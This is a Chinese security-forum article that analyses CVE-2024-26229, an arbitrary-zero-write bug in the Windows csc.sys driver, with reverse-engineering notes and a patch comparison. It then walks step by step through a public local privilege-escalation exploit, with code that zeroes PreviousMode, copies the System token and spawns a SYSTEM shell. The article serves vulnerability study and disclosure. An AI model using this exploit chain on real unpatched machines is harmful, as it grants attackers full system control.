问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
cve-2024-26229 漏洞分析
漏洞分析
本文针对Windows中的内核漏洞cve-2024-26229 进行分析 并且简单介绍其中的利用技巧
CSC 漏洞分析 -------- 前几日,有人在github中放出了[CVE-2024-26229的利用脚本](https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c),这里我们就借此机会,分析一下这个漏洞的成因,以及一些利用技巧 ### 背景介绍 Windows 支持很多基于网络的文件服务系统,例如SMB或者Webdav,这类服务允许程序能够在联网状态下对不同设备上的文件进行访问。然而有些场合,我们会希望在断网的情况下也能保留对这些远程文件的修改,并且在网络恢复后同步数据。此时 Windows会提供一种叫做`Client Side Caching"`的服务。这个服务能够保证在离线状态下,依然能够访问这些基于联网的文件,并且在网络恢复后能够将对应的修改更新到对应文件中。 ![img01.png](https://shs3.b.qianxin.com/attack_forum/2024/06/attach-17e388b59a089fee2a8369d67e855612942cfc48.png) 这里的`csc.sys`即为对应服务的模块。这个模块是一种叫做**内核网络迷你重定向**(`Mini-Redirector`)模块,简单来说就是一种能够处理**网络文件系统操作的驱动**。例如去重定义对网络文件的读写,维护认证等功能,[详细解释可以看这里](https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/the-kernel-network-mini-redirector-driver)。 基础知识介绍 ------ 为了方便对漏洞成因的介绍,这边会介绍一些基础知识,直接看漏洞成因的可跳转到**漏洞成因**部分 ### NtFsControlFile 与 IRP Windows在涉及与内核通信的时候,会使用一种叫做`IRP(I/O Request Package)`的IO数据包,将用户态的必要数据带入到内核态,再有内核态进行处理后返回。这个IRP可以注册多种处理,包括常见的文件读写,创建等等。其中当为了能够直接与特定类型设备通信的时候,会在内核态注册一种叫做`IRP_MJ_DEVICE_CONTROL`的调用函数,此时用户态可通过`DeviceIOCoontrol`与其通信。类似的,当操作涉及文件系统的时候,通常会注册针对文件系统的`IRP_MJ_FILE_SYSTEM_CONTROL`,此时与设备通信的时候就会用到`NtFsControlFile`。 此函数的描述如下: ```cpp NtFsControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); ``` 其中介绍几个比较重要的参数: - FileHandle:指向打开的设备句柄 - IoStatusBlock:指向IO操作结果的指针 - FSControlCode:用于描述访问结构的ControlCode,类似于IOCTL - InputBuffer:用户输入数据的指针地址 - InputBufferLength:用户输入数据的长度 - OutputBuffer:用户输出数据的指针地址 - OutputBufferLength:用户输出数据的长度 *实际上严格来说FSCTL与IOCTL非常相似,尤其是从数据传输角度来说,从[官方文档](https://learn.microsoft.com/zh-cn/windows/win32/fileio/file-management-control-codes?redirectedfrom=MSDN)来看,用户态对这两种过程使用过程应当是大差不差的* 当进行这几种直接通信的过程时候,用户通常可以直接从用户态传入两段内存地址,用于存储输入和输出。以类似的DeviceIOControl为例: ```cpp if (!DeviceIoControl(hDrv, IOCTL, input, dwInputSize, output, dwOutputSize, &dwRetSize, NULL)) { UsrDbgPrint("[*] Send IOCTL error with %x\n", GetLastError()); return false; } ``` 函数需要传入以下参数 - 设备句柄,使用CreateFile创建 - IOCTL - 用户输入的缓存区地址和大小 - 用户输出的缓存区地址和大小 - 实际返回的大小指针 那这里会产生一个疑问:这里的输入缓存区和输出缓存区究竟是如何传递给内核的呢?此时有三种可能 - Windows使用了它自己申请的一段内存,维护了我们的输入输出缓存区,在内核处理的时候使用了它自己维护的内存数据 - Windows会针对用户的输入输出内存,映射一段内核空间,利用自己维护的内存描述符来访问这段物理内存 - Windows直接使用来自用户态的输入输出内存地址,直接操作 这三种不同的内存处理方式在Windows驱动中都是被允许的,它们分别被叫做 - METHOD\_BUFFERED - METHOD\_IN\_DIRECT | METHOD\_OUT\_DIRECT - METHOD\_NEITHER 具体区别可以参考[这位师傅写的文章](https://www.cnblogs.com/iBinary/p/15838812.html) 这里大致描述一下区别就是: - 使用`BUFFERED`模式的时候,Windows会主动申请内存来维护我们的输入和输出,此时最安全 - 使用`DIRECT`模式的时候,效率相对较高,但是需要对DIRECT侧的数据进行保护,否则可能会导致蓝屏 - 使用`NEITHER`模式的时候,由于直接使用了用户态地址,此时Windows不做任何防护机制 如何决定使用哪种方式呢?其中一个设置来自于`IOCTL` ![img02.png](https://shs3.b.qianxin.com/attack_forum/2024/06/attach-97936c2f5aa565fc6fd0e3a52a77981ecd8d2aab.png) IOCTL的最低两个bit会决定当前的内存传输类型,定义如下 ```cpp #define METHOD_BUFFERED 0 #define METHOD_IN_DIRECT 1 #define METHOD_OUT_DIRECT 2 #define METHOD_NEITHER 3 ``` 当使用不同的传输类型的时候,Windows的检查等级也会有所不同 - 使用`BUFFERED`模式时,会由Windows内核解析函数保证输入输出缓存(Type3InputBuffer,OutputBuffer) 大小必须与用户传入的数据大小匹配,并且均为可读可写状态 - 使用`DIRECT`模式时,会由Windows内核解析函数保证部分缓存是合理的,剩下的需交给内核中**使用内存的函数进行判断** - 使用`NEITHER`模式时,Windows内核解析函数不做任何检查,**需要完全交予内核处理函数进行见检查** 漏洞分析 ---- 在分析过程中发现,微软提供的驱动的符号已经过时,导致部分结构体对不上,这里记录一些分析过程。不感兴趣可以直接跳转到**漏洞成因**部分 ### 逆向分析 #### 分发表还原 首先在`csc.sys`这类Mini-Redirector模块的初始化过程中,会使用函数`RxRegisterMinirdr`进行注册。这个函数会将当前的驱动模块注册到 RDBSS `Redirected Drive Buffering Subsystem`(重定向驱动缓存子系统)中。此时其可以通过提供分发表(第三个参数`MrdrDispatch`)来更加松散的注册对应的分发表: ```cpp CscInitializeDispatchTable(); Value = RxRegisterMinirdr( &CscDeviceObject, DriverObject, &MrdrDispatch, 0x1F2u, &CscMiniRedirectorName, 0xAA0u, 0x14u, 0x10u); ``` 不过正如前面所说,官方提供的符号似乎有问题,导致`MrdrDispatch`对应的调用关系错乱,于是只能自己逆向部分逻辑。 通过网上公开的exp,调试后可以找到关键的调用栈如下 ```php 00 ffff9787`16ec3128 fffff801`5cac0594 csc!CscDevFcbXXXControlFile 01 ffff9787`16ec3130 fffff801`5ca529dc rdbss!RxCommonDevFCBFsCtl+0x284 02 ffff9787`16ec3190 fffff801`5cabc594 rdbss!RxFsdCommonDispatch+0x6ac 03 ffff9787`16ec3360 fffff801`5cb72a0a rdbss!RxFsdDispatch+0x84 04 ffff9787`16ec33b0 fffff801`c752bf1d csc!CscFsdDispatch+0x8a 05 ffff9787`16ec3430 fffff801`5bc79ba3 nt!IofCallDriver+0x4d 06 ffff9787`16ec3470 fffff801`5bc78d21 mup!MupStateMachine+0x1b3 07 ffff9787`16ec34f0 fffff801`c752bf1d mup!MupFsControl+0xc1 ``` 在这里的`rdbss!RxCommonDevFCBFsCtl+0x284`会涉及函数调用,检查汇编可知其调用逻辑如下: ```cpp mov rax, qword ptr [rdi+160h] mov rax, qword ptr [rax+230h] call cs:__guard_dispatch_icall_fptr ``` 可知`0x230`偏移为对应函数`CscDevFcbXXXControlFile`,于是根据原先的符号,可以在`csc!CscInitializeDispatchTable`中可以还原部分函数表初始化过程: ```cpp memset(&MrdrDispatch, 0, sizeof(MrdrDispatch)); MrdrDispatch.t05 = 0i64; MrdrDispatch.MRxStart = (__int64)CscStart; MrdrDispatch.MRxDevFcbXXXControlFile = (__int64)CscDevFcbXXXControlFile; MrdrDispatch.MRxCreateSrvCall = (__int64)CscCreateSrvCall; MrdrDispatch.MRxSrvCallCompletion = (__int64)CscSrvCallCompletion; ``` #### 参数还原 函数`CscDevFcbXXXControlFile`会传入一个来自于分发过程中的上下文参数,叫做`_RX_CONTEXT`,然而这个参数也是过时的,我们需要重构参数结构体。从`csc!CscFsdDispatch`开始会涉及`RXContext`内容,通过调用可以得知,这个结构体实际上是由`rdbss`这个模块构建。于是我们可以通过分析这个模块得到需要的结构体信息。首先再这里找到一个叫做`RxCreateRxContextEx`的函数,可以根据其还原`RxContext`的大小。 ![img00.png](https://shs3.b.qianxin.com/attack_forum/2024/06/attach-65a76fd3f4ae53fd39362d203a58b19df6004e69.png) 同时根据分发函数`RxFsdCommonDispatch`,我们能够发现当进入分发状态后,程序会尝试在函数`RxLowIoPopulateFsctlInfo`调用过程中会将IO请求中的`IRP`中的内容进行浅拷贝。 ```cpp NTSTATUS __stdcall RxLowIoPopulateFsctlInfo(New_RT_CONTEXT *RxContext, PIRP Irp) { CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation; v4 = 0; FsControlCode = CurrentStackLocation->Parameters.FileSystemControl.FsControlCode; RxContext->FsControlCode = FsControlCode; RxContext->InputBufferLength = CurrentStackLocation->Parameters.FileSystemControl.InputBufferLength; RxContext->OutputBufferLength = CurrentStackLocation->Parameters.FileSystemControl.OutputBufferLength; RxContext->MinorFunction_ = CurrentStackLocation->MinorFunction; v6 = FsControlCode & 3; if ( v6 ) { v8 = v6 - 1; if ( v8 && (v9 = v8 - 1) != 0 ) { if ( v9 == 1 ) { RxContext->Type3InputBuffer = (__int64)CurrentStackLocation->Parameters.FileSystemControl.Type3InputBuffer; RxContext->irp_UserBuffer = (__int64)Irp->UserBuffer; } } else { RxContext->Type3InputBuffer = (__int64)Irp->AssociatedIrp.MasterIrp; MdlAddress = Irp->MdlAddress; if ( MdlAddress ) { if ( (MdlAddress->MdlFlags & 5) != 0 ) MappedSystemVa = MdlAddress->MappedSystemVa; else MappedSystemVa = MmMapLockedPagesSpecifyCache(MdlAddress, 0, MmCached, 0i64, 0, 0x40000010u); v4 = MappedSystemVa == 0i64 ? 0xC000009A : 0; } else { MappedSystemVa = 0i64; } RxContext->irp_UserBuffer = (__int64)MappedSystemVa; } } else { RxContext->Type3InputBuffer = (__int64)Irp->AssociatedIrp.MasterIrp; RxContext->irp_UserBuffer = (__int64)Irp->AssociatedIrp.MasterIrp; } return v4; } ``` 至此,即可还原分析过程中所需的必要结构体。 ### 漏洞成因 对比patch前后的驱动,能够发现漏洞修复发生在`CscDevFcbXXXControlFile`函数中。在未修复前,逻辑如下: ```cpp if ( a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_ ) { if ( a1->FsControlCode == 0x1401A3 ) { Type3InputBuffer = a1->Type3InputBuffer; v4 = 0; a1->t23 = 0i64; *(_QWORD *)(Type3InputBuffer + 24) = 0i64; } } ``` 进行修复之后,逻辑变成了 ```cpp if ( a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_ ) { v10 = *(_QWORD *)(FSCtx + 40); if ( a1->FsControlCode == 0x1401A3 ) { if ( (unsigned int)Feature_1275465022__private_IsEnabledDeviceUsage() ) { InputBufferLength = a1->InputBufferLength; a1->t23 = 0i64; if ( InputBufferLength < 0x24 ) { v2 = -1073741789; } else { Type3InputBuffer = a1->Type3InputBuffer; if ( a1->irp->RequestorMode ) ProbeForWrite((volatile void *)a1->Type3InputBuffer, InputBufferLength, 4u); if ( *(_DWORD *)(Type3InputBuffer + 4) == 6 ) { *(_QWORD *)(Type3InputBuffer + 24) = 0i64; v2 = 0; } else { v2 = -1073741811; } //。。。 } } } } ``` 可以看到,程序增加了多个验证逻辑 - 要求`InputBufferLength`必须大于`0x24` - 当请求来自于用户态的时候,必须对`Type3InputBuffer`进行检查,保证`Type3InputBuffer`必须为用户态的内存空间,且至少有4字节的空间 根据`FsControlCode`可知,当前使用的FSCTL最后两bit为3,表明当前传输类型为`NEITHER`模式。此时`Type3InputBuffer`指向由用户态传入`NtFsControlFile`的指针`InputBuffer`,并且该指针**完全不被内核解析处理**。这样一来,指针指向的地址是否合法,以及指针内容的大小均不被检查,所以此处的指针**可以写入任意地址中**。总结一下,漏洞即为由于对指针使用检查不严谨,导致了一个**可以往用户可控内存地址写入0**的漏洞出现。 ### 漏洞利用 任意地址写0,乍一听其实还蛮难利用的,不过在Windows 23 年之前的部分版本(新版Windows已经将Handle泄露的技巧堵上了),可以使用一种修改 PeviouseMode 的简单办法进行漏洞利用。这里介绍一下这种利用技巧: #### KernelMode和UserMode 在Windows调用过程中,每一个线程都是独立的执行单位,意味着无论是用户态还是内核态需要执行程序的时候,都要创建一条线程来进行工作。然而对于类似DeviceIOContrl这样的回调例程,它很多功能可能是仅对内核开放,抑或是用户态的请求需要更加严格的检查,此时Windows就需要提供一种办法,让这些例程能够判断当前线程是否来自于用户态。这个字段就源自于ETHREAD中的PreviousMode。 ![img03.png](https://shs3.b.qianxin.com/attack_forum/2024/06/attach-00f94d8f1185987180ca3960fb59b2e6a4333ef3.png) 在Windows调用过程中,会发现存在`Zw`和`Nt`两种开头的函数。这两个函数从用户态视角看是一致的,因为用户态提供的`Zw`函数和`Nt`函数本质上都是`Nt`函数。但是如果从内核态看,`Zw`函数不会对传入的参数进行判断,而`Nt`则会根据`PreviousMode`考虑是否对当前传入的参数进行检查,这就需要内核开发者正确的使用对应例程来解决。 PreviousMode非常直观的分为两种:UserMode和KernelMode,前者表示线程由用户态进程创建,后者表示由内核态进程创建。 ```cpp typedef enum _MODE { KernelMode, UserMode, MaximumMode } MODE; ``` FSCTL或者IOCTL调用例程过程中,假设我们实际是由用户态进程发起的请求,那么尽管我们的执行流来到了内核态,但是由于当前线程是由用户态创建,所以其实此时的PreviousMode也为UserMode,因此大部分的对应例程都会对这类请求进行防护。 #### 从任意地址写0到LPE 在2018年的Bluehat上,[Kaspersky研究员提出了一种很有趣的利用技巧](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE375Xk),对于`NtReadVirtualMemory`和`NtWriteVirtualMemory`这类函数,在`PreviouseMode`为UserMode的时候,它会检查当前访问的地址空间是否为用户态可访问的空间,但当`PreviouseMode`为`KernelMode`的时候,并不会进行这类检查 ```cpp __int64 __fastcall MiReadWriteVirtualMemory( ULONG_PTR BugCheckParameter1, unsigned __int64 baseAddr, unsigned __int64 Buffer, __int64 NumberOfBytesToOp, unsigned __int64 a5, unsigned int a6) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] v7 = baseAddr; CurrentThread = KeGetCurrentThread(); PreviousMode = CurrentThread->PreviousMode; v23 = PreviousMode; if ( PreviousMode ) { if ( baseAddr + NumberOfBytesToOp < baseAddr || baseAddr + NumberOfBytesToOp > 0x7FFFFFFF0000i64 || NumberOfBytesToOp + Buffer < Buffer || NumberOfBytesToOp + Buffer > 0x7FFFFFFF0000i64 ) { return 0xC0000005i64; } // skip other code } } ``` 也就是说,当我们能够想办法将当前线程的`PreviouseMode`值为0的时候,我们即可绕过内存地址检查,直接调用`NtReadVirtualMemory`或者`NtWriteVirtualMemory`实现真正意义的任意地址写 ### EXP最终利用(旧版本) 当我们能够实现任意地址写,即可配合[这个github中提到的Windows常见泄露技巧](https://github.com/sam-b/windows_kernel_address_leaks/tree/master),尝试泄露敏感进程(System进程)的Token,并且将该Token写入我们当前进程,即可实现提权。 这边结合[公开的脚本](https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c)分析一下利用流程 1. 首先利用由`NtQuerySystemInformation`封装的函数`GetObjPtr`泄露System进程的`EPROCESS`以及当前线程的`ETHREAD`: ```cpp GetObjPtr(&Sysproc, 4, 4); // 泄露System EPROCESS,准备从这边获取token Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread); // 获取当前线程ETHREAD,进行PreviousMode替换 hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId()); // 泄露当前进程的EPROCESS,准备替换token ``` 2. 触发漏洞,将当前线程PreviousMode改写成0 ```cpp status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0); if (!NT_SUCCESS(status)) { printf("[-] NtFsControlFile failed with status = %x\n", status); return status; } ``` 3. 此时,可以实现往内核地址的读写,将System进程Token地址拷贝到当前进程 ```cpp Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8); ``` 4. 恢复PreviousMode,此时该进程完成提权 ```cpp // // Restoring KTHREAD->PreviousMode // Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1); // // spawn the shell with "nt authority\system" // system("cmd.exe"); ``` 总结 -- 漏洞本身比较简单,不过攻击面本身基于网络文件系统,分析过程略有难度; 利用在稍老的Windows版本上属于比较经典的用法,不过在新版本上由于已经无法利用`NtQuerySystemInformation`泄露`Handle`,可能需要使用其他的攻击原语完成攻击,感兴趣的同学可以尝试使用其他的常见原语进行漏洞利用,这里不展开介绍。 参考文章 ---- <https://www.cnblogs.com/iBinary/p/15838812.html> <https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE375Xk> <https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/previousmode> <https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c>
发表于 2024-06-17 15:24:35
阅读 ( 32173 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
请先
登录
后评论
l1nk
5 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!